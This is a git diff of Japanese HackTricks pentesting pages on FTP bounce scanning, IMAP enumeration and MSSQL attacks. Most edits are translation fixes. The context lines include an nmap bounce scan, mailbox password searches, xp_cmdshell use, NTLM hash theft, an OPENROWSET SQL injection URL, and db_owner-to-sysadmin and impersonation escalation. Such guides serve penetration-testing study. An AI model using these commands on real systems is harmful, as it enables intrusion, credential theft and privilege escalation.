**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -25,12 +25,12 @@ HackTricksをサポートする他の方法
## マニュアル ## マニュアル
1. 脆弱なFTPに接続します 1. 脆弱なFTPに接続します
2. **`PORT`**または**`EPRT`**どちらか1つのみを使用して、スキャンしたい _\<IP:Port>_ と接続を確立します: 2. _\<IP:Port>_ と接続を確立するために**`PORT`**または**`EPRT`**どちらか1つのみを使用します
`PORT 172,32,80,80,0,8080`\ `PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|` `EPRT |2|172.32.80.80|8080|`
3. **`LIST`**を使用しますこれにより、FTPフォルダ内の現在のファイルリストが接続された _\<IP:Port>_ に送信されます)。可能な応答を確認します:`150 File status okay`(これはポートが開いていることを意味します)または`425 No connection established`(これはポートが閉じていることを意味します) 3. **`LIST`**を使用しますこれにより、FTPフォルダ内の現在のファイルリストが接続された_IP:Port_に送信されます。可能な応答を確認します`150 File status okay`(これはポートが開いていることを意味します)または`425 No connection established`(これはポートが閉じていることを意味します)
4. `LIST`の代わりに**`RETR /file/in/ftp`**を使用し、類似の`Open/Close`応答を探します。 4. `LIST`の代わりに**`RETR /file/in/ftp`**を使用し、類似の`Open/Close`応答を探します。
**PORT**を使用した例172.32.80.80のポート8080が開いており、ポート7777が閉じています **PORT**を使用した例172.32.80.80のポート8080が開いており、ポート7777が閉じています
@ -40,7 +40,7 @@ HackTricksをサポートする他の方法
![](<../../.gitbook/assets/image (226).png>) ![](<../../.gitbook/assets/image (226).png>)
`LIST`の代わりに`EPRT`を使用して開いポート(異なる環境): `LIST`の代わりに`EPRT`を使用して開いているポート(異なる環境):
![](<../../.gitbook/assets/image (228).png>) ![](<../../.gitbook/assets/image (228).png>)
@ -52,7 +52,7 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
``` ```
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -63,10 +63,10 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。 * **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする - **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[telegramグループに参加](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** - **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,12 +24,12 @@ HackTricksをサポートする他の方法
## インターネットメッセージアクセスプロトコル ## インターネットメッセージアクセスプロトコル
**インターネットメッセージアクセスプロトコルIMAP**は、ユーザーが**インターネット接続を介して**主に**任意の場所から**電子メールメッセージに**アクセスできるように設計**されています。要するに、電子メールは**サーバーに保持**され、個人のデバイスにダウンロードおよび保存されることはありません。つまり、電子メールにアクセスまたは読み取りを行うときは、**サーバーから直接**行われます。この機能により、**複数のデバイス**から電子メールを確認でき、使用するデバイスに関係なくメッセージが見逃されることがないようになります。 **インターネットメッセージアクセスプロトコルIMAP**は、ユーザーが**どこからでも電子メールメッセージにアクセス**できるように設計されています。基本的に、電子メールは**サーバーに保持**され、個人のデバイスにダウンロードおよび保存されるのではなく、アクセスまたは読み取り時には**サーバーから直接**行われます。この機能により、**複数のデバイス**から電子メールを確認でき、使用するデバイスに関係なくメッセージが見逃されないようになります。
デフォルトでは、IMAPプロトコルは2つのポートで動作します デフォルトでは、IMAPプロトコルは2つのポートで動作します
* **ポート143** - これはデフォルトのIMAP非暗号化ポートです - **ポート143** - これはデフォルトのIMAP非暗号化ポートです
* **ポート993** - これはIMAPを安全に使用する場合に使用する必要があるポートです - **ポート993** - これはIMAPを安全に使用する場合に使用する必要があるポートです
``` ```
PORT STATE SERVICE REASON PORT STATE SERVICE REASON
143/tcp open imap syn-ack 143/tcp open imap syn-ack
@ -39,7 +39,7 @@ PORT STATE SERVICE REASON
nc -nv <IP> 143 nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet openssl s_client -connect <IP>:993 -quiet
``` ```
### NTLM Auth - 情報漏洩 ### NTLM認証 - 情報漏洩
サーバーがNTLM認証Windowsをサポートしている場合、機密情報バージョンを取得できます サーバーがNTLM認証Windowsをサポートしている場合、機密情報バージョンを取得できます
``` ```
@ -117,7 +117,7 @@ apt install evolution
```bash ```bash
curl -k 'imaps://1.2.3.4/' --user user:pass curl -k 'imaps://1.2.3.4/' --user user:pass
``` ```
2. メールボックス内のメッセージをリストアップするimapコマンド `SELECT INBOX` そして `SEARCH ALL` 2. メールボックス内のメッセージをリストアップするimapコマンド `SELECT INBOX` そして `SEARCH ALL` を使用
```bash ```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
``` ```
@ -129,22 +129,22 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
``` ```
A nice overview of the search terms possible is located [here](https://www.atmail.com/blog/imap-commands/). A nice overview of the search terms possible is located [here](https://www.atmail.com/blog/imap-commands/).
3. Downloading a message (imap command `SELECT Drafts` and then `FETCH 1 BODY[]`) 3. メッセージのダウンロードimapコマンド `SELECT Drafts` そして `FETCH 1 BODY[]`
```bash ```bash
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
``` ```
メールのインデックスは、検索操作から返されインデックスと同じになります。 メールのインデックスは、検索操作から返されインデックスと同じになります。
`UID`ユニークIDを使用してメッセージにアクセスすることも可能ですが、検索コマンドを手動でフォーマットする必要があるため、少し不便です。例: また、`UID`ユニークIDを使用してメッセージにアクセスすることも可能ですが、検索コマンドを手動でフォーマットする必要があるため、便利ではありません。例:
```bash ```bash
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
``` ```
また、メッセージの一部だけをダウンロードすることも可能です。えば、最初の5つのメッセージの件名と送信者をダウンロードすることができます`-v`を使用して件名と送信者を表示する必要があります): また、メッセージの一部だけをダウンロードすることも可能です。たとえば、最初の5つのメッセージの件名と送信者をダウンロードすることができます`-v`を使用して件名と送信者を表示する必要があります):
```bash ```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
``` ```
たぶん、単純にforループを書く方がクリーンでしょう: たぶん、単純に少しforループを書く方がクリーンでしょう:
```bash ```bash
for m in {1..5}; do for m in {1..5}; do
echo $m echo $m
@ -158,7 +158,7 @@ done
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -199,9 +199,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください * **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -54,7 +54,7 @@ msf> use auxiliary/scanner/mssql/mssql_ping
**資格情報を持っていない**場合は、それらを推測することができます。nmapまたはmetasploitを使用できます。既存のユーザー名を使用して何度かログインに失敗すると、アカウントが**ブロック**される可能性があるため、注意してください。 **資格情報を持っていない**場合は、それらを推測することができます。nmapまたはmetasploitを使用できます。既存のユーザー名を使用して何度かログインに失敗すると、アカウントが**ブロック**される可能性があるため、注意してください。
{% endhint %} {% endhint %}
#### Metasploit (資格情報が必要) #### Metasploit(資格情報が必要)
```bash ```bash
#Set USERNAME, RHOSTS and PASSWORD #Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -153,16 +153,16 @@ SELECT * FROM sysusers
``` ```
#### 権限の取得 #### 権限の取得
1. **セキュアブル:** SQL Serverによって管理されるアクセス制御のリソースと定義されます。これらはのカテゴリに分類されます: 1. **セキュアブル:** SQL Serverによって管理されるアクセス制御のリソースと定義されます。これらは以下のカテゴリに分類されます:
- **サーバ** データベース、ログイン、エンドポイント、可用性グループ、サーバロールなどが含まれます。 - **サーバ** データベース、ログイン、エンドポイント、可用性グループ、サーバロールなどが含まれます。
- **データベース** データベースロール、アプリケーションロール、スキーマ、証明書、フルテキストカタログ、ユーザなどが含まれます。 - **データベース** データベースロール、アプリケーションロール、スキーマ、証明書、フルテキストカタログ、ユーザなどが含まれます。
- **スキーマ** テーブル、ビュー、プロシージャ、関数、シノニムなどが含まれます。 - **スキーマ** テーブル、ビュー、プロシージャ、関数、シノニムなどが含まれます。
2. **権限:** SQL Serverセキュアブルに関連付けられた権限は、ALTER、CONTROL、CREATEなどの権限がプリンシパルに付与されることがあります。権限の管理は次の2つのレベルで行われます: 2. **権限:** SQL Serverセキュアブルに関連付けられた権限は、ALTER、CONTROL、CREATEなどが原則に与えられることがあります。権限の管理は次の2つのレベルで行われます:
- **サーバレベル**ではログインを使用します - **サーバレベル**ではログインを使用します
- **データベースレベル**ではユーザを使用します - **データベースレベル**ではユーザを使用します
3. **プリンシパル:** この用語は、セキュアブルに権限が付与されるエンティティを指します。プリンシパルには主にログインとデータベースユーザが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を備えたロールにログインユーザを含めることによって行われます。 3. **プリンシパル:** この用語は、セキュアブルに権限が付与されるエンティティを指します。プリンシパルには主にログインとデータベースユーザが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を備えたロールにログインユーザを含めることによって行われます。
```sql ```sql
# Show all different securables names # Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### OSコマンドの実行 ### OSコマンドの実行
{% hint style="danger" %} {% hint style="danger" %}
コマンドを実行できるようにするには、**`xp_cmdshell`**を**有効にする**だけでなく、**`xp_cmdshell`ストアドプロシージャに対するEXECUTE権限**も必要です。誰がsysadminsを除く**`xp_cmdshell`**を使用できるかは次のコマンドで確認できます: コマンドを実行できるようにするには、**`xp_cmdshell`**が**有効**であるだけでなく、**`xp_cmdshell`ストアドプロシージャに対するEXECUTE権限**も必要です。誰がsysadminsを除く**`xp_cmdshell`**を使用できるかは次のコマンドで確認できます:
```sql ```sql
Use master Use master
EXEC sp_helprotect 'xp_cmdshell' EXEC sp_helprotect 'xp_cmdshell'
@ -235,7 +235,7 @@ sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
``` ```
{% hint style="warning" %} {% hint style="warning" %}
これらのMSSQL関数を実行する権限を持っているかどうかは、次の方法で確認できます(システム管理者以外)。 これらのMSSQL関数を実行する権限を持っているかどうか(システム管理者以外)を確認できます:
```sql ```sql
Use master; Use master;
EXEC sp_helprotect 'xp_dirtree'; EXEC sp_helprotect 'xp_dirtree';
@ -244,7 +244,7 @@ EXEC sp_helprotect 'xp_fileexist';
``` ```
{% endhint %} {% endhint %}
**responder**や**Inveigh**などのツールを使用すると、**NetNTLMハッシュを盗む**ことが可能です。\ **NetNTLMハッシュを盗む**ことが可能な**responder**や**Inveigh**などのツールを使用します。\
これらのツールの使用方法は次の場所で確認できます: これらのツールの使用方法は次の場所で確認できます:
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} {% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
@ -281,7 +281,7 @@ EXECUTE sp_OADestroy @OLE
``` ```
### **OPENROWSETを使用してファイルを読む** ### **OPENROWSETを使用してファイルを読む**
デフォルトでは、`MSSQL`はアカウントが読み取りアクセス権を持つオペレーティングシステム内の任意のファイルを読み取ることを許可します。以下のSQLクエリを使用できます: デフォルトでは、`MSSQL`はアカウントが読み取りアクセス権を持つオペレーティングシステム内の任意のファイルを読み取ることを許可します。のSQLクエリを使用できます:
```sql ```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
``` ```
@ -290,7 +290,7 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C
# Check if you have it # Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
``` ```
#### SQLiのエラーベースベクトル: #### SQLiのためのエラーベースベクトル:
``` ```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
``` ```
@ -298,7 +298,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
MSSQLを使用すると、**Pythonおよび/またはRのスクリプトを実行**できる場合があります。これらのコードは、**xp\_cmdshell**を使用してコマンドを実行するユーザーとは**異なるユーザー**によって実行されます。 MSSQLを使用すると、**Pythonおよび/またはRのスクリプトを実行**できる場合があります。これらのコードは、**xp\_cmdshell**を使用してコマンドを実行するユーザーとは**異なるユーザー**によって実行されます。
**'R'**の _"Hellow World!"_ **を実行しようとする例(動作しません)** 例として、**'R'**で _"Hellow World!"_ を実行しようとしたが、**動作しません**
![](<../../.gitbook/assets/image (185) (1).png>) ![](<../../.gitbook/assets/image (185) (1).png>)
@ -341,23 +341,21 @@ Use master;
EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite'; EXEC sp_helprotect 'xp_regwrite';
``` ```
**さらなる例**については、[**元のソース**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)を参照してください。
### MSSQLユーザー定義関数を使用したRCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a> ### MSSQLユーザー定義関数を使用したRCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
**カスタム関数を使用してMSSQL内で.NET dllをロード**することが可能です。ただし、これには`dbo`アクセスが必要なので、データベースへの接続が`sa`または管理者ロールとして必要です。 **カスタム関数を使用してMSSQL内で.NET dllをロード**することが可能です。ただし、これには`dbo`アクセスが必要なので、データベースへの接続が`sa`または管理者ロールとして必要です。
[**このリンク**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)を参照して、例をご覧ください。 [**このリンクに従って**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)、例をご覧ください。
### RCEの他の方法 ### RCEの他の方法
[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)の追加など、コマンドの実行を取得するための他の方法があります。 [拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)の追加など、コマンドの実行を取得する他の方法があります。
## MSSQL特権昇格 ## MSSQL特権昇格
### db_ownerからsysadminへ ### db_ownerからsysadminへ
**通常のユーザー**が**`sa`などの管理者が所有するデータベース**に対して**`db_owner`**ロールを与えられ、そのデータベースが**`trustworthy`**として構成されている場合、そのユーザーはこれらの権限を悪用して**特権昇格**を行うことができます。なぜなら、そこで作成された**ストアドプロシージャ**が所有者(**管理者**)として**実行**できるからです。 **通常のユーザー**が**`sa`**などの**管理者が所有するデータベース**に対して**`db_owner`**ロールを与えられ、そのデータベースが**`trustworthy`**として構成されている場合、そのユーザーはこれらの権限を悪用して**特権昇格**を行うことができます。なぜなら、そこで作成された**ストアドプロシージャ**が所有者(**管理者**)として**実行**できるからです。
```sql ```sql
# Get owners of databases # Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases SELECT suser_sname(owner_sid) FROM sys.databases
@ -391,7 +389,7 @@ EXEC sp_elevate_me
--3. Verify your user is a sysadmin --3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin') SELECT is_srvrolemember('sysadmin')
``` ```
**metasploit** モジュールを使用できます **metasploit** モジュールを使用できます:
```bash ```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
``` ```
@ -403,7 +401,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
``` ```
### 他のユーザーのなりすまし ### 他のユーザーのなりすまし
SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行ユーザーが別のユーザーやログインの権限を引き継ぐことができます**。この権限は、コンテキストがリセットされるかセッションが終了するまで有効です。 SQL Serverには、**`IMPERSONATE`**という特別な権限があります。**この権限を持つ実行ユーザーは、別のユーザーやログインの権限を引き継ぐことができます**。この状態はリセットされるかセッションが終了するまで続きます。
```sql ```sql
# Find users you can impersonate # Find users you can impersonate
SELECT distinct b.name SELECT distinct b.name
@ -421,7 +419,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
{% hint style="info" %} {% hint style="info" %}
ユーザーをなりすませることができる場合、そのユーザーが他のデータベースやリンクされたサーバーにアクセスできるかどうかをチェックする必要があります。 ユーザーをなりすませることができる場合、そのユーザーが他のデータベースやリンクされたサーバーにアクセスできるかどうかをチェックする必要があります。
なお、一度sysadminになると他のどのユーザーでもなりすますことができます: なお、一度sysadminになると他のどのユーザーでもなりすますことができます
{% endhint %} {% endhint %}
```sql ```sql
-- Impersonate RegUser -- Impersonate RegUser
@ -432,7 +430,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa -- Change back to sa
REVERT REVERT
``` ```
この攻撃は、**metasploit** モジュールを使用して実行することができます。 この攻撃は、**metasploit**モジュールを使用して実行することができます。
```bash ```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as msf> auxiliary/admin/mssql/mssql_escalate_execute_as
``` ```
@ -454,14 +452,14 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
まず第一に、マシンで管理者権限を持っているか、SQL Server構成を管理する権限を持っている必要があります。 まず第一に、マシンで管理者権限を持っているか、SQL Server構成を管理する権限を持っている必要があります。
権限を検証した後、以下の3つの構成を行う必要があります 権限を検証した後、以下の3つの構成を行う必要があります
1. SQL ServerインスタンスでTCP/IPを有効にする。 1. SQL ServerインスタンスでTCP/IPを有効にすること
2. スタートアップパラメータを追加する。この場合、追加されるトレースフラグは-T7806です。 2. スタートアップパラメータを追加すること。この場合、追加されるトレースフラグは-T7806です。
3. リモート管理接続を有効にする。 3. リモート管理接続を有効にすること
これらの構成を自動化するために、[このリポジトリ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)に必要なスクリプトがあります。 これらの構成を自動化するために、[このリポジトリ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)に必要なスクリプトがあります。
構成の各ステップに対するPowerShellスクリプトだけでなく、リポジトリには構成スクリプトとパスワードの抽出および復号化を組み合わせた完全なスクリプトも含まれています。 構成の各ステップに対するPowerShellスクリプトだけでなく、リポジトリには構成スクリプトとパスワードの抽出および復号化を組み合わせた完全なスクリプトも含まれています。
詳細については、次の攻撃に関するリンクを参照してください: 詳細については、次の攻撃に関する以下のリンクを参照してください:
